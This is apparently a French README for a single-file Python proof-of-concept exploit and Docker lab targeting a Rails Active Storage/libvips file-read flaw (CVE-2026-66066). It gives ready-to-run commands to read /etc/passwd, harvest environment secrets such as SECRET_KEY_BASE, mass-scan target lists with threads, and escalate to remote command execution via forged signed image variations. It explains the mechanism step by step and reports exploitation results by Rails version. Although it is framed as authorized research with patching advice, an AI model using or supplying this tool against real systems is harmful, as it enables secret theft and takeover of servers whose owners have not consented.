
PoC mono-fichier pour Rails CVE-2026-66066 : lecture arbitraire de fichiers, récupération de secrets, analyse multithreadée et exécution de code à distance (RCE) conditionnelle via des variations d'images signées.
Un proof of concept sans dépendance, monofichier, et un laboratoire Docker limité au loopback pour la vulnérabilité de lecture arbitraire de fichiers dans Rails Active Storage/libvips. Il démontre également l'escalade conditionnelle décrite dans l'avis de sécurité, depuis un secret_key_base récupéré jusqu'à la falsification d'une variante d'image et l'exécution de commandes.
Références principales : avis de sécurité Rails, analyse forensique Rails, analyse technique d'Ethiack et la version 8.1.3.1.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py contient le client complet dans un seul fichier :
h5py ni numpy ;L'outil n'installe pas de paquets, ne démarre pas d'écouteur de rappel, n'exige pas curl sur la cible et ne dépend pas de make. L'étape RCE utilise la route de représentation Active Storage intégrée et ne nécessite pas de gadget Marshal.
Démarrez le laboratoire vulnérable :
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
Le port Compose est lié à 127.0.0.1 et le conteneur s'exécute en tant qu'utilisateur non privilégié avec toutes les capacités Linux désactivées.
Dans un autre terminal :
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
Exécutez python3 kr2s.py COMMAND --help pour toutes les options. Les contrôles courants pour les applications réelles incluent --harvest-url, --show-path, --proxy, --insecure et --skb.
secrets --show-full affiche les valeurs complètes des variables d'environnement correspondantes. Sans cette option, l'outil n'affiche que les 12 premiers caractères suivis d'une ellipse. Les fichiers demandés avec --also-read, y compris les chemins d'identifiants Rails par défaut, sont imprimés jusqu'à 600 caractères lorsqu'ils sont lisibles.
L'analyse passive scan indique uniquement si la page expose une représentation Active Storage récupérable ; elle ne permet pas d'identifier le niveau de correctif Rails installé. scan --active téléverse un blob malveillant et tente la lecture canari. Un résultat actif échoué est étiqueté BLOCKED_OR_INCONCLUSIVE, et non SAFE, car les WAF, l'authentification, les variations non prises en charge et le correctif Rails peuvent sembler identiques depuis l'extérieur de l'application.
Arrêtez le laboratoire avec :
cd lab
docker compose down
image/png.matload de libvips ; les octets du fichier cible deviennent des pixels d'image et reviennent dans un PNG généré.rce lit d'abord SECRET_KEY_BASE depuis /proc/self/environ, sauf si --skb est fourni. Il dérive la clé de vérification Active Storage et signe une variation JSON contenant une opération instance_eval. Sur le chemin vips concerné, l'opération atteint Vips::Image.public_send. Le PoC l'envoie via la route de représentation intégrée, exécute la commande fournie via /bin/sh et capture les deux flux de sortie.
Cette deuxième étape est conditionnée par la récupération du secret de signature et par l'atteinte du comportement vulnérable de transformation vips décrit dans l'analyse d'Ethiack sur CVE-2025-24293. Le correctif CVE-2026-66066 ferme le point d'entrée de la lecture de fichiers ; ce n'est pas une correction générale pour les secrets de signature précédemment divulgués. Faites pivoter les secrets en cas de suspicion d'exposition, comme le recommande l'avis de sécurité Rails.
La sortie de la commande est écrite dans un fichier aléatoire /tmp/.kr2s_*, récupérée via la même primitive de lecture de fichiers, puis supprimée avec une deuxième charge utile signée.
Les lectures renvoient la région de taille fixe demandée. Si la source est plus courte, son préfixe est suivi d'octets nuls. Utilisez --offset pour les régions suivantes.
La variation du laboratoire par défaut convertit uniquement en PNG, la récupération est donc exacte octet par octet. Les applications réelles peuvent redimensionner les variantes. Le mode à clé récupérée utilise une colonne d'un pixel pour éviter le rééchantillonnage horizontal, mais une variante de hauteur inférieure peut toujours modifier la géométrie. Dans ce cas, le client échoue explicitement ; réduisez --size ou récupérez une représentation sans redimensionnement.
Chaque commande est intrusive : elle crée des blobs Active Storage persistants et peut créer des variantes traitées. rce exécute en outre la commande fournie.
Le script de matrice construit chaque version, exécute de véritables tests de lecture et de RCE sur les versions vulnérables, vérifie que les lectures sont bloquées sur les versions corrigées et renvoie un code non nul en cas de différence :
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
Validé le 2026-07-31 avec Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0 et libvips 8.16.1 :
Les lignes corrigées ne déclenchent délibérément pas de charge utile RCE avec un secret de signature pré-fourni ; la matrice teste la frontière de lecture de fichiers du CVE.
research/craft.py régénère les charges utiles candidates pour la recherche sur les chargeurs et nécessite h5py et numpy. Il n'est pas importé par le PoC de la version. lab/probe/probe.sh inspecte ces candidates avec ruby-vips dans une image de laboratoire :
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
Exécutez les tests unitaires sans dépendance avec :
python3 -m unittest discover -s tests -v
La charge utile MAT/HDF5 et le client sans dépendance ont été développés lors de tests locaux. Après l'apparition de PoC publics, cette version a intégré la collecte de clés de variation et les routes Active Storage intégrées documentées par le PoC de Zer0SumGam3. L'implémentation Python présentée ici est originale et n'utilise que la bibliothèque standard.
Une révision antérieure a démontré que le RCE était également possible avec une charge utile Marshal signée utilisant Puma::MiniSSL::Context et un proxy ActiveSupport, sur la base des recherches publiques de gadgets de Behrad Taher. Cette voie évitait les binaires d'assistance côté cible, mais exigeait un puits d'ID signé compatible Marshal ainsi que des classes de gadgets Puma et ActiveSupport chargées. Elle a été remplacée après la publication par l'Ethiack Research Team de leur analyse technique KindaRails2Shell, qui documente la technique plus simple de variation JSON signée. Celle-ci utilise une route standard et supprime ces préconditions.
Le crédit de la découverte revient à André Baptista (0xacb), Bruno Mendes (s3np41k1r1t0), Rafael Castilho et l'Ethiack Research Team, ainsi qu'à RyotaK (GMO Flatt Security). Abdelmounaim Moulahcene (bl0rph) a publié indépendamment la primitive sous-jacente peu avant la divulgation coordonnée. Consultez le dépôt forensique Rails pour la chronologie complète et les crédits des mainteneurs.
Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. Voir SECURITY.md pour signaler des problèmes dans cet artefact de recherche.
Publié sous licence MIT.
| Rails | Lecture de fichier | Vérification RCE | Résultat |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | réussi |
| 7.2.3.2 | bloquée | non exécutée | réussi |
| 8.0.5 | READ-OK | RCE-OK | réussi |
| 8.0.5.1 | bloquée | non exécutée | réussi |
| 8.1.3 | READ-OK | RCE-OK | réussi |
| 8.1.3.1 | bloquée | non exécutée | réussi |